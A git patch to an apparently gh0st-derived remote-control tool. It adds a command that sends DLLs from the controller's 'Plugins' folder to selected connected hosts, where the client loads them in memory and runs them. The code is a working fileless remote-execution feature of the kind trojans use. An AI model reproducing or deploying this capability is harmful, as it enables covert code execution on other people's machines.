From 62b8f65f88327089c0e3f95a0c10f18efa4280f0 Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Thu, 29 May 2025 19:49:05 +0800
Subject: [PATCH] feature: Add command to execute DLL
---
client/ClientDll_vs2015.vcxproj | 2 +
client/KernelManager.cpp | 67 +++++++++--
client/ghost_vs2015.vcxproj | 2 +
common/commands.h | 17 ++-
server/2015Remote/2015RemoteDlg.cpp | 176 +++++++++++++++++++++++++---
server/2015Remote/2015RemoteDlg.h | 12 ++
6 files changed, 254 insertions(+), 22 deletions(-)
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 0795613..a0d7e84 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -173,6 +173,7 @@
+
@@ -199,6 +200,7 @@
+
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 5993eea..73b2ba8 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -9,6 +9,7 @@
#include
#include
#include "ClientDll.h"
+#include "MemoryModule.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -110,22 +111,74 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
return TRUE;
}
+typedef struct DllExecParam
+{
+ State& exit;
+ DllExecuteInfo info;
+ BYTE* buffer;
+ DllExecParam(const DllExecuteInfo* dll, BYTE* data, State& status) : exit(status) {
+ memcpy(&info, dll, sizeof(DllExecuteInfo));
+ buffer = new BYTE[info.Size];
+ memcpy(buffer, data, info.Size);
+ }
+ ~DllExecParam() {
+ SAFE_DELETE_ARRAY(buffer);
+ }
+}DllExecParam;
+
+DWORD WINAPI ExecuteDLLProc(LPVOID param) {
+ DllExecParam* dll = (DllExecParam*)param;
+ HMEMORYMODULE module = MemoryLoadLibrary(dll->buffer, dll->info.Size);
+ if (module) {
+ DllExecuteInfo info = dll->info;
+ if (info.Func[0]) {
+ FARPROC proc = MemoryGetProcAddress(module, info.Func);
+ if (proc) {
+ switch (info.CallType)
+ {
+ case CALLTYPE_DEFAULT:
+ ((CallTypeDefault)proc)();
+ break;
+ default:
+ break;
+ }
+ }
+ }
+ else { // 没有指明函数则只加载DLL
+ while (S_CLIENT_EXIT != dll->exit) {
+ Sleep(1000);
+ }
+ }
+ MemoryFreeLibrary(module);
+ }
+ SAFE_DELETE(dll);
+ return 0x20250529;
+}
+
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
- if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
- if (!isExit) {
- Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
- return;
- }
- }
- else if (!isExit){
+ if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
+ return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
+ } else if (!isExit){
m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn;
}
switch(szBuffer[0])
{
+ case CMD_EXECUTE_DLL: {
+#ifdef _WIN64
+ const int sz = 1 + sizeof(DllExecuteInfo);
+ if (ulLength <= sz)break;
+ DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
+ if (info->Size == ulLength - sz)
+ CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(info, szBuffer + sz, g_bExit), 0, NULL));
+ Mprintf("Execute '%s'%s succeed: %d Length: %d\n", info->Name, info->Func, szBuffer[1], info->Size);
+#endif
+ break;
+ }
+
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 17fa421..56adfae 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -183,6 +183,7 @@
+
@@ -209,6 +210,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index ef9b0a9..a49b159 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -217,6 +217,7 @@ enum
CMD_DLLDATA, // 响应DLL数据
CMD_MASTERSETTING = 215, // 主控设置
CMD_HEARTBEAT_ACK = 216, // 心跳回应
+ CMD_EXECUTE_DLL = 240, // 执行代码
};
enum ProxyManager {
@@ -512,15 +513,29 @@ typedef struct MasterSettings {
char Reserved[476]; // 预留
}MasterSettings;
-enum
+// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称 + 函数名称
+typedef struct DllExecuteInfo {
+ int RunType; // 运行类型
+ int Size; // DLL 大小
+ int CallType; // 调用方式
+ char Name[32]; // DLL 名称
+ char Func[32]; // 函数名称
+ char Reseverd[24];
+}DllExecuteInfo;
+
+enum
{
SOFTWARE_CAMERA = 0,
SOFTWARE_TELEGRAM,
SHELLCODE = 0,
MEMORYDLL = 1,
+
+ CALLTYPE_DEFAULT = 0, // 默认调用方式: void (*CallTypeDefault)(void)
};
+typedef void (*CallTypeDefault)(void);
+
typedef DWORD(__stdcall* PidCallback)(void);
inline const char* EVENTID(PidCallback pid) {
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 5008ca3..2cd8d2c 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -164,6 +164,94 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg 对话框
+std::string GetFileName(const char* filepath) {
+ const char* slash1 = strrchr(filepath, '/');
+ const char* slash2 = strrchr(filepath, '\\');
+ const char* slash = slash1 > slash2 ? slash1 : slash2;
+ return slash ? slash + 1 : filepath;
+}
+
+bool IsDll64Bit(BYTE* dllBase) {
+ if (!dllBase) return false;
+
+ auto dos = (IMAGE_DOS_HEADER*)dllBase;
+ if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
+ Mprintf("Invalid DOS header\n");
+ return false;
+ }
+
+ auto nt = (IMAGE_NT_HEADERS*)(dllBase + dos->e_lfanew);
+ if (nt->Signature != IMAGE_NT_SIGNATURE) {
+ Mprintf("Invalid NT header\n");
+ return false;
+ }
+
+ WORD magic = nt->OptionalHeader.Magic;
+ return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
+}
+
+// 返回:读取的字节数组指针(需要手动释放)
+DllInfo* ReadPluginDll(const std::string& filename) {
+ // 打开文件(以二进制模式)
+ std::ifstream file(filename, std::ios::binary | std::ios::ate);
+ std::string name = GetFileName(filename.c_str());
+ if (!file.is_open() || name.length() >= 32) {
+ Mprintf("无法打开文件: %s\n", filename.c_str());
+ return nullptr;
+ }
+
+ // 获取文件大小
+ std::streamsize fileSize = file.tellg();
+ file.seekg(0, std::ios::beg);
+
+ // 分配缓冲区: CMD + DllExecuteInfo + size
+ BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
+ if (!file.read(reinterpret_cast(buffer + 1 + sizeof(DllExecuteInfo)), fileSize)) {
+ Mprintf("读取文件失败: %s\n", filename.c_str());
+ delete[] buffer;
+ return nullptr;
+ }
+ if (!IsDll64Bit(buffer + 1 + sizeof(DllExecuteInfo))) {
+ Mprintf("不支持32位DLL: %s\n", filename.c_str());
+ delete[] buffer;
+ return nullptr;
+ }
+
+ // 设置输出参数
+ DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_DEFAULT, };
+ memcpy(info.Name, name.c_str(), name.length());
+ buffer[0] = CMD_EXECUTE_DLL;
+ memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
+ Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize);
+ SAFE_DELETE_ARRAY(buffer);
+ return new DllInfo{ name, buf };
+}
+
+std::vector ReadAllDllFilesWindows(const std::string& dirPath) {
+ std::vector result;
+
+ std::string searchPath = dirPath + "\\*.dll";
+ WIN32_FIND_DATAA findData;
+ HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
+
+ if (hFind == INVALID_HANDLE_VALUE) {
+ Mprintf("无法打开目录: %s\n", dirPath.c_str());
+ return result;
+ }
+
+ do {
+ if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
+ std::string fullPath = dirPath + "\\" + findData.cFileName;
+ DllInfo* dll = ReadPluginDll(fullPath.c_str());
+ if (dll) {
+ result.push_back(dll);
+ }
+ }
+ } while (FindNextFileA(hFind, &findData));
+
+ FindClose(hFind);
+ return result;
+}
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
@@ -184,6 +272,12 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
}
InitializeCriticalSection(&m_cs);
+
+ // Init DLL list
+ char path[_MAX_PATH];
+ GetModuleFileNameA(NULL, path, _MAX_PATH);
+ GET_FILEPATH(path, "Plugins");
+ m_DllList = ReadAllDllFilesWindows(path);
}
@@ -194,6 +288,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
SAFE_DELETE(m_ServerDLL[i]);
SAFE_DELETE(m_ServerBin[i]);
}
+ for (int i = 0; i < m_DllList.size(); i++)
+ {
+ SAFE_DELETE(m_DllList[i]);
+ }
}
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -256,6 +354,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant)
ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback)
+ // 将所有动态子菜单项的命令 ID 映射到同一个响应函数
+ ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu)
END_MESSAGE_MAP()
@@ -864,29 +964,50 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
CMenu Menu;
Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //加载菜单资源 资源和类对象关联
- CMenu* SubMenu = Menu.GetSubMenu(0);
+ CMenu* SubMenu = Menu.GetSubMenu(0);
- CPoint Point;
+ CPoint Point;
GetCursorPos(&Point);
- int iCount = SubMenu->GetMenuItemCount();
- EnterCriticalSection(&m_cs);
- int n = m_CList_Online.GetSelectedCount();
- LeaveCriticalSection(&m_cs);
- if (n == 0) //如果没有选中
- {
- for (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
- }
- }
-
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
+
+ // 创建一个新的子菜单
+ CMenu newMenu;
+ if (!newMenu.CreatePopupMenu()) {
+ AfxMessageBox(_T("创建分配主控的子菜单失败!"));
+ return;
+ }
+
+ int i = 0;
+ for (const auto& s : m_DllList) {
+ // 向子菜单中添加菜单项
+ newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str());
+ }
+ if (i == 0){
+ newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE, "操作指导");
+ }
+ // 将子菜单添加到主菜单中
+ SubMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("执行代码"));
+
+ int iCount = SubMenu->GetMenuItemCount();
+ EnterCriticalSection(&m_cs);
+ int n = m_CList_Online.GetSelectedCount();
+ LeaveCriticalSection(&m_cs);
+ if (n == 0) //如果没有选中
+ {
+ for (int i = 0; i < iCount; ++i)
+ {
+ SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
+ }
+ }
+
+ // 刷新菜单显示
+ DrawMenuBar();
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
@@ -2333,3 +2454,30 @@ void CMy2015RemoteDlg::OnHelpFeedback()
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/issues/new");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
+
+// 请将64位的DLL放于 'Plugins' 目录
+void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
+ if (m_DllList.size()==0){
+ MessageBoxA("请将64位的DLL放于 'Plugins' 目录,再来点击此项菜单。"
+ "\n您必须在DLL加载时执行您的代码。请执行来源受信任的合法代码。", "提示", MB_ICONINFORMATION);
+ char path[_MAX_PATH];
+ GetModuleFileNameA(NULL, path, _MAX_PATH);
+ GET_FILEPATH(path, "Plugins");
+ m_DllList = ReadAllDllFilesWindows(path);
+ return;
+ }
+ int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // 计算菜单项的索引(基于 ID)
+ if (IDYES != MessageBoxA(CString("确定在选定的主机上执行代码吗? 执行未经测试的代码可能造成程序崩溃。"
+ "\n提示: 当前版本要求必须在DLL加载时执行您的代码。"),
+ _T("提示"), MB_ICONQUESTION | MB_YESNO))
+ return;
+ EnterCriticalSection(&m_cs);
+ POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
+ while (Pos && menuIndex < m_DllList.size()) {
+ Buffer* buf = m_DllList[menuIndex]->Data;
+ int iItem = m_CList_Online.GetNextSelectedItem(Pos);
+ CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
+ m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
+ }
+ LeaveCriticalSection(&m_cs);
+}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 6554cbc..44613e9 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -13,6 +13,16 @@
// 是否在退出主控端时也退出客户端
#define CLIENT_EXIT_WITH_SERVER 0
+typedef struct DllInfo {
+ std::string Name;
+ Buffer* Data;
+ ~DllInfo() {
+ SAFE_DELETE(Data);
+ }
+}DllInfo;
+
+#define ID_DYNAMIC_MENU_BASE 36500
+
//////////////////////////////////////////////////////////////////////////
#include
#include
@@ -165,6 +175,7 @@ public:
CStatusBar m_StatusBar; //状态条
CTrueColorToolBar m_ToolBar;
+ std::vector m_DllList;
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
IOCPServer* m_iocpServer;
@@ -223,4 +234,5 @@ public:
afx_msg void OnOnlineHostnote();
afx_msg void OnHelpImportant();
afx_msg void OnHelpFeedback();
+ afx_msg void OnDynamicSubMenu(UINT nID);
};